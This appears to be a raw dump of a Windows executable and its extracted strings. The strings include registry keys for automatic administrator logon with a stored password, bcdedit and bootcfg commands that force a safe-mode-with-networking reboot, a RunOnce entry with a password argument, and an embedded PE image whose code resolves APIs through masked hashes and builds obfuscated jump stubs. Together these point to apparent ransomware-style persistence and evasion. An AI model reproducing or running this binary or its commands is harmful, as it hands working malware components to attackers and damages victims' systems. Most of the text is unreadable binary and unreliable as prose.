@\x00\x00\xfcA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92C\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80C\x00\x00lC\x00\x00XC\x00\x00FC\x00\x006C\x00\x00$C\x00\x00\x16C\x00\x00\x00\x00\x00\x00\xc8B\x00\x00\xdaB\x00\x00\xecB\x00\x00\xfeB\x00\x00\x00\x00\x00\x00bB\x00\x00\xb2B\x00\x00\xa2B\x00\x00\x92B\x00\x00\x82B\x00\x00pB\x00\x00PB\x00\x00\x00\x00\x00\x00(\x00CreateDIBitmap\x00\x003\x00CreateFontW\x00\xe3\x00GetTextCharset\x00\x00\xe5\x00GetTextColor\x00\x00.\x01SelectObject\x00\x00Y\x01SetTextColor\x00\x00k\x01TextOutW\x00\x00gdi32.dll\x00n\x00CreateWindowExW\x00\x9c\x00DefWindowProcW\x00\x00\xa3\x01GetWindowTextW\x00\x00\xf7\x01LoadMenuW\x00USER32.dll\x00\x00\x9e\x01FreeLibrary\x00\xca\x01GetCommandLineW\x00Q\x02GetLastError\x00\x00U\x02GetLocaleInfoW\x00\x00e\x02GetModuleHandleA\x00\x00h\x02GetModuleHandleW\x00\x00\x9e\x02GetProcAddress\x00\x00KERNEL32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc @\x00\xe0 @\x00\x04!@\x004"@\x00d"@\x00(!@\x00|!@\x008(@\x00l(@\x00\xdc"@\x00|"@\x00\xd4$@\x00`\'@\x00\x9c8@\x00\xc0&@\x00\xf8$@\x00\xbc(@\x00x*@\x00D+@\x00\x00\x10@\x00l\x1f@\x00\\ @\x00L @\x00L\x1f@\x00\\\x1f@\x00(\x1e@\x00x\x1e@\x00,\x1f@\x00\xd0.@\x00\x10.@\x00\x18/@\x00\x88,@\x00P+@\x00\xfc+@\x00\x94\x1d@\x00\xc4\x1d@\x0006@\x00\xe82@\x00X2@\x00D1@\x00\xe01@\x0002@\x00x4@\x00\x00\x00\x00\x00\x01\x00\x14\x80\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x000\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x11\x00\x14\x00\x01\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x10\x00 \x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x05\x07\x00\x00\x00\x01\x00\x04\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x05\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x000\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\t\x04\x00\x00H\x00\x00\x00``\x00\x00{\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?xml version=\'1.0\' encoding=\'UTF-8\' standalone=\'yes\'?>\r\n<assembly xmlns=\'urn:schemas-microsoft-com:asm.v1\' manifestVersion=\'1.0\'>\r\n  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\r\n    <security>\r\n      <requestedPrivileges>\r\n        <requestedExecutionLevel level=\'asInvoker\' uiAccess=\'false\' />\r\n      </requestedPrivileges>\r\n    </security>\r\n  </trustInfo>\r\n</assembly>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


b'\xda\xbd\x07\xbb\x86\xfc\x96\x07\xd2\xed\x0b\xb5xl\xa1W'


b'SOFTWARE\\Policies\\Microsoft\\Windows\\OOBE'


b'DisablePrivacyExperience'


b'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'


b'AutoAdminLogon'


b'DefaultUserName'


b'DefaultDomainName'


b'DefaultPassword'


b'bcdedit /set {current} safeboot network'


b'bcdedit /deletevalue {current} safeboot'


b'bootcfg /raw /a /safeboot:network /id 1'


b'bootcfg /raw /fastdetect /id 1'


b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce'


b'%s -pass %s'


b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x05\x00E]Pb\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x01\x0b\x01\x0e\x0c\x00\x1e\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x81+\x00\x00\x00\x10\x00\x00\x000\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x04\x00\x00\x10\x9a\x00\x00\x02\x00@\x81\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac1\x00\x00P\x00\x00\x00\x00P\x00\x00\xe0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x0c\x02\x00\x00\x800\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`0\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x02\x1c\x00\x00\x00\x10\x00\x00\x00\x1e\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.rdata\x00\x00\xa4\x03\x00\x00\x000\x00\x00\x00\x04\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.data\x00\x00\x00|\x01\x00\x00\x00@\x00\x00\x00\x02\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.rsrc\x00\x00\x00\xe0\x01\x00\x00\x00P\x00\x00\x00\x02\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.reloc\x00\x00\x0c\x02\x00\x00\x00`\x00\x00\x00\x04\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\xc0@\xc1\xe0\x06\x8d@\xf0d\x8b\x00\xc3\x8d@\x00U\x8b\xecQR\x8bM\x08\x8bU\x0c\x811\xe6\x9f\x00)\xf7\x11\x83\xc1\x04Ju\xf2ZY]\xc2\x08\x00\x90SQj\x01X\x0f\xa2\xf7\xc1\x00\x00\x00@\x0f\x95\xc0\x84\xc0t\t\x0f\xc7\xf0\x0f\xc7\xf2Y[\xc3j\x07X3\xc9\x0f\xa2\xf7\xc3\x00\x00\x04\x00\x0f\x95\xc0\x84\xc0t\t\x0f\xc7\xf8\x0f\xc7\xfaY[\xc3\x0f1\x8b\xc8\xc1\xc9\r\x0f1\x8b\xd0\xc1\xc2\r\x8b\xc1Y[\xc3\x8d@\x00U\x8b\xecQR\xe8\xa6\xff\xff\xff\xb9\rf\x19\x00\xf7\xe1\x05_\xf3n<%\xff\xff\xff\x07\x8bM\x0cA3\xd2\xf7\xf1\x92;E\x08r\x0b;E\x0cw\x06ZY]\xc2\x08\x00\xeb\xcf\x8b\xffU\x8b\xecRV\x8bU\x0c\xb8\x8dDL\x1e5\xe6\x9f\x00)\xf7\xd03\xd0\x8bu\x083\xc0\xac\x80\xc6z\x80\xeez\xc1\xca\r\x03\xd0\x85\xc0u\xee\x8b\xc2^Z]\xc2\x08\x00\x90U\x8b\xecRV\x8bU\x0c\xb8\x8dDL\x1e5\xe6\x9f\x00)\xf7\xd03\xd0\x8bu\x083\xc0f\xadf\x83\xf8Ar\nf\x83\xf8Zw\x04f\x83\xc8 \x80\xc6z\x80\xeez\xc1\xca\r\x03\xd0\x85\xc0u\xdd\x8b\xc2^Z]\xc2\x08\x00\xe8\xcb\xfe\xff\xff\x8b@\x10\x8b@<\xc3U\x8b\xecVW\xbe\xe6\x9f\xfeV\x81\xf6\xe6\x9f\x00)\x8dv0\x8b}\x08f\xadf\x85\xc0u9f\xb8\\\x00f\xab\xb8\xb5\x9fy)5\xe6\x9f\x00)\xab\xb8\x95\x9ft)5\xe6\x9f\x00)\xab\xb8\x83\x9fm)5\xe6\x9f\x00)\xab\xb8\xd5\x9f2)5\xe6\x9f\x00)\xabf3\xc0f\xab\xeb\x04f\xab\xeb\xbc_^]\xc2\x04\x00U\x8b\xec\x83\xc4\xf0SVW\x83=`@@\x00\x00u\x1d\xc7\x05`@@\x00\xff\xff\xff\xff\x8d\x05\x00\x1a@\x00\xffp\x1c\xe8\xd6\xff\xff\xff\xa3`@@\x00\x83=d@@\x00\x00u\x1d\xc7\x05d@@\x00\xff\xff\xff\xff\x8d\x05\x00\x1a@\x00\xffp\x18\xe8\xb0\xff\xff\xff\xa3d@@\x00\xc7E\xfc\x00\x00\x00\x00\xe8\x03\xfe\xff\xff\x8b@\x0c\x8dH\x0cQ\x8fE\xf8\x8bX\x0c\x8bs\x18\xb8\x00x\x00\x00\xc1\xe8\t\x8b\x040\x8d\x04\x06\x8bxx\x85\xff\x0f\x84\x8d\x00\x00\x00\x8dC,j\x00\xffp\x04\xe8\xb9\xfe\xff\xff\x89E\xf4\x8d<7\xffw\x18\x8fE\xf0\x83}\xf0\x00tn\x8bO \x8bW$\x8d\x0c1\x8d\x142\x8b\x01\xffu\xf4\x8d\x040P\xe8Y\xfe\xff\xff\xf7\xd05\xe6\x9f\x00);E\x08u9\x0f\xb7\n\xc1\xe1\x02\x8bG\x1c\x8d\x0c\x08\x8d\x0c1\x8b\x01\x8d\x040P\x8fE\xfcP\xe8_\x02\x00\x00\x85\xc0t\x0b\xffu\xfc\xe8\x97\x02\x00\x00\x89E\xfc\x8bE\xfc_^[\x8b\xe5]\xc2\x04\x00\x83\xc1\x04\x83\xc2\x02\xffM\xf0\x83}\xf0\x00u\x9e\x8b\x1b9]\xf8\x0f\x85L\xff\xff\xff\x8bE\xfc_^[\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec\x0f\xb6M\x08\x8d\x05\xe8\x12@\x00\x0f\xb7\x04H%W\x01\x00\x00]\xc2\x04\x00\x8b\xff \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00(\x00(\x00(\x00(\x00(\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00H\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x81\x00\x81\x00\x81\x00\x81\x00\x81\x00\x81\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x82\x00\x82\x00\x82\x00\x82\x00\x82\x00\x82\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x10\x00\x10\x00\x10\x00\x10\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x8b\xecSVW3\xf6\x8b}\x08\x83\xc9\xff3\xc0\xf2\xae\xf7\xd1+\xf9\x8dY\xff\x83\xfb\x05v\x1a\x0f\xb6\x0fQ\xe8\xbd\xfd\xff\xff\x85\xc0u\x02\xeb\x06GK\x85\xdbu\xeb\x85\xdbu\x01F\x8b\xc6_^[]\xc2\x04\x00\x8d@\x00U\x8b\xec\x83\xc4\x80VW\x8bu\x08\x8b\xfe\x83\xc9\xff\xb0.\xf2\xae\xf7\xd1I\x8d}\x80\xf3\xa42\xc0\xaa3\xc0\x83=`@@\x00\x00t0\x83=d@@\x00\x00t\'j\x00\x8dE\x80P\xe8\xa2\x00\x00\x00\x85\xc0t\x18F\x8d}\x80\x8a\x0e\x88\x0fFG\x84\xc9u\xf6\x8dM\x80QP\xe8\xea\x00\x00\x00_^\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xecW\x8b}\x0c\x8bU\x08\xc7\x02\x00\x00\x00\x00\x89z\x04\x85\xd2t"\x83\xc9\xff3\xc0\xf2f\xaf\xf7\xd1\x81\xf9\xff\xff\x00\x00v\x05\xb9\xff\xff\x00\x00\xd1\xe1f\x89J\x02IIf\x89\n_]\xc2\x08\x00\x8b\xffU\x8b\xecW\x8b}\x0c\x8bU\x08\xc7\x02\x00\x00\x00\x00\x89z\x04\x85\xfft\x1e\x83\xc9\xff3\xc0\xf2\xae\xf7\xd1\x81\xf9\xff\xff\x00\x00v\x05\xb9\xff\xff\x00\x00f\x89J\x02If\x89\n_]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xec\x14\x02\x00\x00VW3\xc0\x89E\xfc\x83}\x0c\x00u"\x8bu\x08\x8d\xbd\xec\xfd\xff\xff\xacf\xab\x84\xc0u\xf9\x8d\x85\xec\xfd\xff\xffP\x8dE\xf4P\xe8N\xff\xff\xff\xeb\x0c\xffu\x08\x8dE\xf4P\xe8@\xff\xff\xff\x8dE\xfcP\x8dE\xf4Pj\x00j\x00\xff\x15`@@\x00\x8bE\xfc_^\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\x81}\x0c\xff\xff\x00\x00v!\xffu\x0c\x8dE\xf4P\xe8>\xff\xff\xff\x8dE\xfcPj\x00\x8dE\xf4P\xffu\x08\xff\x15d@@\x00\xeb\x12\x8dE\xfcP\xffu\x0cj\x00\xffu\x08\xff\x15d@@\x00\x8bE\xfc\x8b\xe5]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xecX\x02\x00\x00SW\x83=h@@\x00\x00u\x1d\xc7\x05h@@\x00\xff\xff\xff\xff\x8d\x05d\x1a@\x00\xffp\x04\xe8\xac\xfa\xff\xff\xa3h@@\x00\x83=l@@\x00\x00u\x1d\xc7\x05l@@\x00\xff\xff\xff\xff\x8d\x05d\x1a@\x00\xffp\x08\xe8\x86\xfa\xff\xff\xa3l@@\x00\x83=p@@\x00\x00u\x1d\xc7\x05p@@\x00\xff\xff\xff\xff\x8d\x05d\x1a@\x00\xffp\x0c\xe8`\xfa\xff\xff\xa3p@@\x00\x8d\x1dt@@\x00\x83;\x00u2S\xe8\xea\xf9\xff\xfff3\xc0\xb9\xff\xff\xff\xff\x8b\xfb\xf2f\xaf\x83\xef\x02\xc7\x07E`\xd5\xd6\xc7G\x047`\x9b\xd6\xc7G\x08u`\x93\xd6j\x03W\xe8\x92\xf8\xff\xff\xc7E\xfc\x00\x00\x00\x00j\x00j\x00j\x00\x8d\x85\xa8\xfd\xff\xffPj\x00ht@@\x00\xff\x15h@@\x00\x89E\xf8\x83}\xf8\xfftVj\x00\x8d\x85\xd4\xfd\xff\xffP\xe86\xf9\xff\xff\xf7\xd05\xe6\x9f\x00);E\x08u\x1f\xffu\xf8\xff\x15p@@\x00j\x01\x8d\x85\xd4\xfd\xff\xffP\xe83\xfe\xff\xff_[\x8b\xe5]\xc2\x04\x00\x8d\x85\xa8\xfd\xff\xffP\xffu\xf8\xff\x15l@@\x00\x85\xc0u\xb3\xffu\xf8\xff\x15p@@\x00\x83}\xfc\x00t\x02\xeb7\x8d\x1dt@@\x00\x83}\xfc\x00u#f\xb8.\x00\xb9\xff\xff\xff\xff\x8b\xfb\xf2f\xaf\xc7\x07}`\x8d\xd6\xc7G\x04o`\xff\xd6j\x02W\xe8\xdb\xf7\xff\xff\xffE\xfc\xe9H\xff\xff\xff\xb8\x00\x00\x00\x00_[\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec\x83\xc4\xf0SVW\xc7E\xf8\x00\x00\x00\x00\x8bu\x08\x85\xf6\x0f\x84\x8a\x01\x00\x00\x83=\xf4@@\x00\x00u\x1d\xc7\x05\xf4@@\x00\xff\xff\xff\xff\x8d\x05\x00\x1a@\x00\xffp\x14\xe8\x14\xf9\xff\xff\xa3\xf4@@\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8bE\x0c\xc1\xe0\x02\x89E\xf0j@h\x000\x10\x00\x8dE\xf0Pj\x00\x8dE\xf4Pj\xff\xff\x15\xf4@@\x00\x83}\xf4\x00\x0f\x84*\x01\x00\x00j\x04h\x000\x10\x00\x8dE\x0cPj\x00\x8dE\xf8Pj\xff\xff\x15\xf4@@\x00\x83}\xf8\x00\x0f\x84\x07\x01\x00\x00\xad\x8b}\xf8\x8b]\xf4P\xe8\xcd\xfd\xff\xff\x85\xc0\x0f\x84\xf2\x00\x00\x00\xad=\xd5\xac3\x1au\x05\xe9\xe5\x00\x00\x00P\xe8\x8a\xf8\xff\xff\x89E\xfc\x83}\xfc\x00\x0f\x84\xca\x00\x00\x00\xc6\x03\xb8\x8b\xc3\xabj\x04j\x00\xe8R\xf7\xff\xff\x85\xc0u/j\x12j\x02\xe8E\xf7\xff\xff\x8b\xc8\x8bE\xfc\xf7\xd0\xd3\xc0\x89C\x01f\xc7C\x05\xc1\xc8\x88K\x07f\xc7C\x08\xf7\xd0f\xc7C\n\xff\xe0\xe9\x88\x00\x00\x00\x83\xf8\x01u,j\x12j\x02\xe8\x11\xf7\xff\xff\x8b\xc8\x8bE\xfc\xf7\xd0\xd3\xc8\x89C\x01f\xc7C\x05\xc1\xc0\x88K\x07f\xc7C\x08\xf7\xd0f\xc7C\n\xff\xe0\xebW\x83\xf8\x02u\x16\x8bE\xfc\xf7\xd0\x89C\x01f\xc7C\x05\xf7\xd0f\xc7C\x07\xff\xe0\xeb<\x83\xf8\x03u\x16\x8bE\xfc\x0f\xc8\x89C\x01f\xc7C\x05\x0f\xc8f\xc7C\x07\xff\xe0\xeb!\x83\xf8\x04u\x1c\x8bE\xfc\xf7\xd0\x0f\xc8\x89C\x01f\xc7C\x05\x0f\xc8f\xc7C\x07\xf7\xd0f\xc7C\t\xff\xe0\x83\xc3\x10\xe9\x0e\xff\xff\xff\x8bE\xf8_^[\x8b\xe5]\xc2\x08\x00\x8d@\x00\xc5 \xbc\xa5\xcd>>\x89\xa0\xcc\x85[l\x07\xab\xaeE+9\x82\x83\x82\xad\x90k\xc8\xa9\x7f\xbc\x9cI\x91\x14><\xfa\xf5\x8e[5)\xcaiJ\xe4\xc9\tX\x93\x12\x98?\x90\xb2\xa0\r\x90\xb1p\x1fP\xb5H\x1f\xe0a\xe6\x01/*\xd0p\x1f\xb7E}\xba\xf3Z\xda]\xc9gp\xe5\xc6\xa3\x18\xd8\xfc\x01\xdb\xcf\xbf\x9c#\xd5\xac3\x1a\xe1\xb8\x9f*\xfb\xce\xe0\xaa\xf9\xbf\xa1c\xa4y\t\x0e\xc3\x05\xcc\xc7f\xae&\x8e""G\xd9\x9b\xf83m\xd5\\\x7f?\xd5\xac3\x1a\x19\x1a\xb5\x12XO\xe4\x17\xd5\xac3\x1a\xa5\xd0\xc1\x86\xd7\r\xd5[}%\xd2\x00\x9dSF#\xd5\xac3\x1a@\x11\x81\x91\x88\x9e\xa1K\xd5\xac3\x1a\\\x19\xc5]H\x05\xc63\x8b\x08P}?\x0e\xe9\x8f\xd5\xac3\x1a\xe3\x0f\xa1\xd1_\xc1{\x19\xad~\x7fhzGiA\xdd\xd7\xd2\x03\xd2A-\xc3\xbd\xfc\xac\xb8\x87\x99\x81v\x15\xd4\xef\xccT\xab\x82s\t\xcd\xcc\xf7\xfd\xe2=\x1c\x1a\x853\x85\xd5\xac3\x1a\xd0\x10\x9fQ\xfd\'$\x97[\xc8\xff\xd9\xd5\xac3\x1aj\\h\x00\x1a@\x00\xe8,\xfd\xff\xff\xa3\xf8@@\x00j hd\x1a@\x00\xe8\x1b\xfd\xff\xff\xa3\xfc@@\x00j\x04h\x8c\x1a@\x00\xe8\n\xfd\xff\xff\xa3\x00A@\x00j\x0ch\x98\x1a@\x00\xe8\xf9\xfc\xff\xff\xa3\x04A@\x00j\x04h\xac\x1a@\x00\xe8\xe8\xfc\xff\xff\xa3\x08A@\x00j\x0ch\xb8\x1a@\x00\xe8\xd7\xfc\xff\xff\xa3\x0cA@\x00j0h\xcc\x1a@\x00\xe8\xc6\xfc\xff\xff\xa3\x10A@\x00j\x08h\x04\x1b@\x00\xe8\xb5\xfc\xff\xff\xa3\x14A@\x00\xc3\x8d@\x00U\x8b\xec\x83\xc4\xf8SVW\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\x8bu\x10\x8b}\x0c\xad\x8b\xd8\x8b\x15\xf8@@\x00j\x10j\x08\xffu\x08\xffR\x04\x89E\xf8\x83}\xf8\x00u\x0c\x8bE\xfc_^[\x8b\xe5]\xc2\x10\x00\xab\xc6\x00\xb8j\x04j\x00\xe8\x8e\xf4\xff\xff\x85\xc0u/j\x12j\x02\xe8\x81\xf4\xff\xff\x8b\xc8\xf7\xd3\xd3\xc3\x8bE\xf8\x89X\x01f\xc7@\x05\xc1\xc8\x88H\x07f\xc7@\x08\xf7\xd0f\xc7@\n\xff\xe0\xe9\x88\x00\x00\x00\x83\xf8\x01u,j\x12j\x02\xe8M\xf4\xff\xff\x8b\xc8\xf7\xd3\xd3\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\xc1\xc0\x88H\x07f\xc7@\x08\xf7\xd0f\xc7@\n\xff\xe0\xebW\x83\xf8\x02u\x16\xf7\xd3\x8bE\xf8\x89X\x01f\xc7@\x05\xf7\xd0f\xc7@\x07\xff\xe0\xeb<\x83\xf8\x03u\x16\x0f\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\x0f\xc8f\xc7@\x07\xff\xe0\xeb!\x83\xf8\x04u\x1c\xf7\xd3\x0f\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\x0f\xc8f\xc7@\x07\xf7\xd0f\xc7@\t\xff\xe0\x83m\x14\x04\x83}\x14\x00\x0f\x85\x02\xff\xff\x